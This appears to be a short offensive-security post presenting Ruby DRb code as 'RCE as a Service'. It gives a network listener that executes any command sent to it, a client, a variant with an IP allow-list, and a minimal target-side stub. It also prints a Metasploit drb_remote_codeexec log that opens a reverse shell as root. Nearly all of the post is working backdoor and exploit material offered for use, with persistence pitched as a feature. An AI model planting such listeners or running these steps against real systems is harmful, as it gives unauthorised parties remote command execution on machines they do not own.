RCE as a Service

DRb allows Ruby programs to communicate with each other on the same machine or over a network. DRb uses remote method invocation (RMI) to pass commands and data between processes.

RCE Service

  1. #!/usr/bin/env ruby
  2. require 'drb'
  3. class RShell
  4. def exec(cmd)
  5. `#{cmd}`
  6. end
  7. end
  8. DRb.start_service("druby://0.0.0.0:8080", RShell.new)
  9. DRb.thread.join

Note: It works on all OS platforms

The drb lib supports ACL to prevent/allow particular IP addresses. ex.

  1. #!/usr/bin/env ruby
  2. require 'drb'
  3. class RShell
  4. def exec(cmd)
  5. `#{cmd}`
  6. end
  7. end
  8. # Access List
  9. acl = ACL.new(%w{deny all
  10. allow localhost
  11. allow 192.168.1.*})
  12. DRb.install_acl(acl)
  13. DRb.start_service("druby://0.0.0.0:8080", RShell.new)
  14. DRb.thread.join

Client

  1. rshell = DRbObject.new_with_uri("druby://192.168.0.13:8080")
  2. puts rshell.exec "id"

Or you can use a Metasploit module to get an elegant shell!

  1. msf > use exploit/linux/misc/drb_remote_codeexec
  2. msf exploit(drb_remote_codeexec) > set URI druby://192.168.0.13:8080
  3. uri => druby://192.168.0.13:8080
  4. msf exploit(drb_remote_codeexec) > exploit
  5. [*] Started reverse double handler
  6. [*] trying to exploit instance_eval
  7. [*] Accepted the first client connection...
  8. [*] Accepted the second client connection...
  9. [*] Command: echo UAR3ld0Uqnc03yNy;
  10. [*] Writing to socket A
  11. [*] Writing to socket B
  12. [*] Reading from sockets...
  13. [*] Reading from socket A
  14. [*] A: "UAR3ld0Uqnc03yNy\r\n"
  15. [*] Matching...
  16. [*] B is input...
  17. [*] Command shell session 2 opened (192.168.0.18:4444 -> 192.168.0.13:57811) at 2015-12-24 01:11:30 +0300
  18. pwd
  19. /root
  20. id
  21. uid=0(root) gid=0(root) groups=0(root)

As you can see, even you loose the session you can connect again and again; it’s a service, remember?

Note: For using a Metasploit module only, you don’t need even the RShell class. You just need the following on the target side.

  1. #!/usr/bin/env ruby
  2. require 'drb'
  3. DRb.start_service("druby://0.0.0.0:8080", []).thread.join

I recommend to use the first code in case Metasploit is not available.

References